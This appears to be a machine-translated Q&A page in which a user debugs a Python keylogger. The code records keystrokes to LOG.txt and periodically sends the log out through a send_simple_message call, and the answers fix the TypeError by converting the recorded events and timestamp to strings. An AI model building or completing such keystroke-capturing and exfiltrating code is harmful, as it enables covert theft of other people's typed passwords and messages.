TypeError:write()参数必须是str,而不是list

Gri*_*pex 6 keyboard keylogger

def file_input(记录):

now_time = datetime.datetime.now()
w = open("LOG.txt", 'a')
w.write(recorded)
w.write("\n")
w.write(now_time)
w.write("--------------------------------------")
w .close()
Run Code Online (Sandbox Code Playgroud)

如果name ==" main ":

while 1:

    status = time.localtime()
    result = []
    keyboard.press_and_release('space')
    recorded = keyboard.record(until='enter')
    file_input(recorded)
    if (status.tm_min == 30):
        f = open("LOG.txt", 'r')
        file_content = f.read()
        f.close()
        send_simple_message(file_content)
Run Code Online (Sandbox Code Playgroud)

我试图在python中写一个键盘记录器,我遇到类型错误,我怎么能解决这个问题?

我只是将记录变量放入write()中,它使类型错误,记录变量类型为list.所以我尝试使用join func但它没有用

小智 10

您正在尝试使用文件写入文件,w.write()但它只需要一个字符串作为参数. now_time是'datetime'类型而不是字符串.如果您不需要格式化日期,您可以这样做:

w.write(str(nowtime))
Run Code Online (Sandbox Code Playgroud)

同样的事情

w.write(recorded)
Run Code Online (Sandbox Code Playgroud)

recorded是一个事件列表,您需要在尝试将该字符串写入文件之前使用它来构造字符串.例如:

recorded = keyboard.record(until='enter')
typedstr = " ".join(keyboard.get_typed_strings(recorded))
Run Code Online (Sandbox Code Playgroud)

然后,在内部file_input()功能中,您可以:

w.write(typedstr)
Run Code Online (Sandbox Code Playgroud)


Ami*_*osh 6

通过更改w.write(str(recorded))我的问题就解决了。